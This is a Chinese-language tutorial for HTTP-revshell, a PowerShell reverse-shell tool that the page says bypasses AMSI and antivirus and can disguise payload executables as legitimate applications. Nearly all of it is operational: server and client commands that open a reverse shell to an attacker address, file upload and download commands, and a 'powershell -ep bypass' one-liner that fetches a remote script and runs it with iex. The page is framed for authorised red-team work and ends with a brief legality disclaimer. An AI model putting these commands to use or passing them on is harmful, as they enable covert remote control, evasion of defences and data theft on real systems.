HTTP-revshell:一个能够绕过AMSI的PowerShell代理感知型反向Shell
字数 974 2025-08-15 21:32:31
HTTP-revshell 反向Shell工具教学文档
工具概述
HTTP-revshell是一个专为红队研究和渗透测试设计的PowerShell代理感知型反向Shell工具,具有以下核心特性:
- 通过HTTP/S协议建立反向Shell连接
- 能够绕过AMSI(反恶意软件扫描接口)
- 支持代理环境
- 使用隐蔽数据信道绕过IDS/IPS/AV等安全解决方案
主要功能
- SSL支持:加密通信内容
- 代理感知:可在代理环境中工作
- 文件传输:
- 上传功能:
upload /src/path/file C:\dest\path\file - 下载功能:
download C:\src\path\file /dst/path/file
- 上传功能:
- 错误控制:完善的错误处理机制
- AMSI绕过:规避Windows反恶意软件扫描
- 多会话支持:服务器端可同时管理多个会话
- PowerShell自动补全:提升操作效率
安装与配置
依赖安装
git clone https://github.com/3v4Si0N/HTTP-revshell.git
cd HTTP-revshell/
pip3 install -r requirements.txt
服务器端使用
基本命令格式:
python server.py [--ssl] [--autocomplete] <host> <port>
参数说明:
--ssl:启用SSL加密通信--autocomplete:启用PowerShell函数自动补全host:监听主机地址port:监听端口
客户端使用
- 导入模块:
Import-Module .\Invoke-WebRev.ps1
- 建立连接:
Invoke-WebRev -ip <IP> -port <PORT> [-ssl]
多会话管理
使用server-multisession.py支持多会话管理:
可用命令:
sessions:显示当前活动会话interact <session_id>:与指定会话交互exit:关闭应用程序
注意:按CTRL+D可退出当前会话而不关闭连接。
Payload生成器
Revshell-Generator.ps1脚本可创建带有Payload的可执行文件:
特性:
- 6个预定义模板+1个自定义模板
- 伪装合法应用程序的图标、产品信息和版权信息
- 连接前会打开原始应用程序作为掩护
使用方法:
powershell -ep bypass "iwr -useb https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/master/Revshell-Generator.ps1 | iex"
使用样例
- 基本反向Shell连接:
# 服务器端
python server.py 0.0.0.0 8080
# 客户端
Invoke-WebRev -ip 192.168.1.100 -port 8080
- 启用SSL的连接:
# 服务器端
python server.py --ssl 0.0.0.0 443
# 客户端
Invoke-WebRev -ip 192.168.1.100 -port 443 -ssl
- 文件传输示例:
# 上传文件
upload /tmp/exploit.exe C:\Windows\Temp\test.exe
# 下载文件
download C:\Windows\System32\drivers\etc\hosts /tmp/hosts.txt
许可证
本项目遵循LGPLv3+开源许可证协议。
项目地址
GitHub仓库:https://github.com/3v4Si0N/HTTP-revshell
注意事项
- 仅限合法授权测试使用
- 在目标环境使用前应获取必要权限
- 某些功能可能触发EDR/AV警报,需根据实际情况调整
- 建议在测试环境中充分验证后再用于实际场景